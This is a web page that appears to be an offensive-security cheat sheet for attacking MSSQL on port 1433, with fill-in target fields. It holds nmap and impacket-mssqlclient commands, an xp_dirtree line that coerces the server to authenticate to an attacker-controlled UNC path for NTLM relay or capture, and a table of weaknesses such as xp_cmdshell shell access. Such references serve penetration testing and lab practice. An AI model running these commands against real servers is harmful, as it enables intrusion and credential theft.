Skip to content
TARGET$IP10.10.11.42$DOMAINcorp.local$USERsvc_sql$PASS••••••••••filled into every command · stored in your browser only
ports/1433

1433/tcp

MSSQL · Microsoft SQL Server
A database that is also a foothold. Service accounts often have more rights than they should, xp_cmdshell turns a query into a shell, and the server can be coerced into authenticating to you.
WindowsDatabase
ProtocolTCP
Servicems-sql-s
Default onWindows servers
AuthSQL login, Windows (NTLM/Kerberos)
// PORT SPACE · LOG SCALE 1 10 100 1k 10k 65535 228033898080 1433
01

Enumerate

start here
Log in with your credentials, check your privileges, then try command execution.
commands · your target is filled in
# version and instance info
nmap -p 1433 --script ms-sql-info $IP

# authenticate and look at what you can do
impacket-mssqlclient '$DOMAIN/$USER:$PASS'@$IP -windows-auth

# coerce the server to authenticate to you (for relay/capture)
# (inside mssqlclient)  EXEC master..xp_dirtree '\\10.10.14.7\share'
02

Weaknesses

check each one
CHECK HOW TO TELL WHAT IT GIVES YOU
sysadmin service account SELECT IS_SRVROLEMEMBER('sysadmin') = 1 xp_cmdshell, code execution
xp_cmdshell available Enablable as sysadmin Shell as the service account
Coercible xp_dirtree to a UNC path you control The service account's NTLM for relay

Treat MSSQL as an identity as much as a database. The login you use runs as a Windows service account, and that account’s privileges — plus xp_cmdshell and UNC coercion — are usually the fastest way off the box.

PORT 1433 ⌘K jump c copy commands t set target l start lab search.deflance.com static · no tracking